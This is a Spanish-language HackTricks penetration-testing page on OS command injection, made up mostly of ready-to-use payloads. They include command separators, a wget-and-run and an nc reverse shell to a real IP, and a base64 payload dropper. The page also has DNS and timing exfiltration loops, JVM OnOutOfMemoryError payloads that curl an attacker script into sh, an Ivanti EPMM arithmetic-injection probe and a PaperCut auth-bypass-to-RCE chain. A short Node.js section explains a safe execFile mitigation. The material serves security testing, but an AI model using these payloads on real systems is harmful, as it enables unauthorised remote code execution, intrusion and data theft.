Command Injection

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

¿Qué es command Injection?

Un command injection permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos normalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.

Contexto

Dependiendo de dónde se esté inyectando tu entrada puede que necesites terminar el contexto entre comillas (usando " o ') antes de los comandos.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Motores de reglas PHP con runkit habilitado

Algunas aplicaciones implementan motores de reglas solo para administradores al ejecutar PHP suministrado por el atacante. Si el entorno habilita la extensión runkit, un atacante puede redefinir o inyectar funciones en tiempo de ejecución y convertir un editor de reglas lógico en PHP RCE completo.

Indicadores:

  • La Admin UI acepta “rules” tipo PHP que se evalúan.
  • runkit / runkit7 está cargado (phpinfo() o extension_loaded('runkit')).

Abuse example (redefine a function used by the rules to execute a command):

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

Si el contenido de la regla se almacena y se evalúa más tarde, se convierte en una primitiva RCE persistente dentro del contexto web.

Limitación Bypasses

Si estás intentando ejecutar comandos arbitrarios dentro de una máquina linux te interesará leer sobre estos Bypasses:

Bypass Linux Restrictions

Ejemplos

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Evaluación aritmética de Bash en RewriteMap/CGI-style scripts

RewriteMap helpers escritos en bash a veces colocan parámetros de consulta en variables globales y más tarde los comparan en arithmetic contexts ([[ $a -gt $b ]], $((...)), let). La expansión aritmética vuelve a tokenizar el contenido, por lo que nombres de variables controlados por el atacante o referencias de array se expanden dos veces y pueden ejecutarse.

Patrón observado en los RewriteMap helpers de Ivanti EPMM:

  1. Los parámetros se asignan a variables globales (stgStartTime, htheValue).
  2. Comprobación posterior:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Envía st=theValue para que gStartTime apunte a la cadena theValue.
  2. Envía h=gPath['sleep 5'] para que theValue contenga un índice de array; durante la comprobación aritmética ejecuta sleep 5 (cambiar por una payload real).

Sondeo (~5s de retraso y luego 404 si es vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Notas:

  • Busca el mismo helper bajo otros prefijos (p. ej., /mifs/c/aftstore/fob/).
  • Los contextos aritméticos tratan los tokens desconocidos como identificadores de variables/arrays, por lo que esto elude simples metacharacter filters.

Parámetros

Aquí están los 25 parámetros principales que podrían ser vulnerables a code injection y a vulnerabilidades RCE similares (de enlace):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Extracción de datos: char por char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Basado en la herramienta de https://github.com/HoLyVieR/dnsbin también alojada en dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Herramientas en línea para comprobar DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Cuando audites back-ends de JavaScript/TypeScript, con frecuencia te encontrarás con la API child_process de Node.js.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() inicia un shell (/bin/sh -c), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, ;, &&, |, $(), …) resultará en command injection cuando la entrada del usuario se concatene en la cadena.

Mitigación: usa execFile() (o spawn() sin la opción shell) y entrega cada argumento como un elemento separado del array para que no intervenga el shell:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Inyección de argumentos/opciones vía guion inicial (argv, sin metacaracteres de shell)

No todas las inyecciones requieren metacaracteres de shell. Si la aplicación pasa cadenas no confiables como argumentos a una utilidad del sistema (incluso con execve/execFile y sin shell), muchos programas seguirán parseando cualquier argumento que comience con - o -- como una opción. Esto permite a un atacante cambiar modos, modificar rutas de salida o activar comportamientos peligrosos sin necesidad de entrar en un shell.

Lugares típicos donde aparece:

  • Interfaces web embebidas / manejadores CGI que construyen comandos como ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Enrutadores CGI centralizados (p. ej., /cgi-bin/<something>.cgi con un parámetro selector como topicurl=<handler>) donde múltiples handlers reutilizan el mismo validador débil.

Qué probar:

  • Proporcione valores que empiecen con -/-- para que la herramienta downstream los consuma como flags.
  • Abusar de flags que cambien el comportamiento o escriban archivos, por ejemplo:
  • ping: -f/-c 100000 para sobrecargar el dispositivo (DoS)
  • curl: -o /tmp/x para escribir en rutas arbitrarias, -K <url> para cargar una configuración controlada por el atacante
  • tcpdump: -G 1 -W 1 -z /path/script.sh para lograr ejecución post-rotación en wrappers inseguros
  • Si el programa soporta el fin de opciones --, intente bypassear mitigaciones ingenuas que antepongan -- en el lugar equivocado.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Callbacks de diagnóstico de JVM para ejecución garantizada

Cualquier primitiva que te permita inyectar argumentos de línea de comandos de JVM (_JAVA_OPTIONS, archivos de configuración del launcher, campos AdditionalJavaArguments en agentes de escritorio, etc.) puede convertirse en un RCE fiable sin tocar el bytecode de la aplicación:

  1. Forzar un fallo determinista reduciendo metaspace o el heap: -XX:MaxMetaspaceSize=16m (o un -Xmx muy pequeño). Esto garantiza un OutOfMemoryError incluso durante el arranque temprano.
  2. Adjuntar un hook de error: -XX:OnOutOfMemoryError="<cmd>" o -XX:OnError="<cmd>" ejecuta un comando arbitrario del sistema operativo cada vez que la JVM aborta.
  3. Opcionalmente añade -XX:+CrashOnOutOfMemoryError para evitar intentos de recuperación y mantener el payload de un solo uso.

Ejemplos de payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose /app?service=page/SetupCompleted; browsing there and clicking Login returns a valid JSESSIONID without credentials (authentication bypass in the setup flow).
  • En Options → Config Editor, establece print-and-device.script.enabled=Y y print.script.sandboxed=N para activar printer scripting y desactivar el sandbox.
  • En la pestaña Scripting de la impresora, habilita el script y deja printJobHook definido para evitar errores de validación, pero coloca el payload fuera de la función para que se ejecute inmediatamente cuando hagas clic en Apply (no se necesita trabajo de impresión):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Intercambia el callback por una reverse shell; si la UI/PoC no puede manejar pipes/redirects, prepara un payload con un comando y ejecútalo con una segunda petición.
  • Horizon3’s CVE-2023-27350.py automatiza el auth bypass, los cambios de configuración, la ejecución de comandos y la restauración — ejecútalo a través de un proxy ascendente (p. ej., proxychains → Squid) cuando el servicio solo sea accesible internamente.

Brute-Force Detection List

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks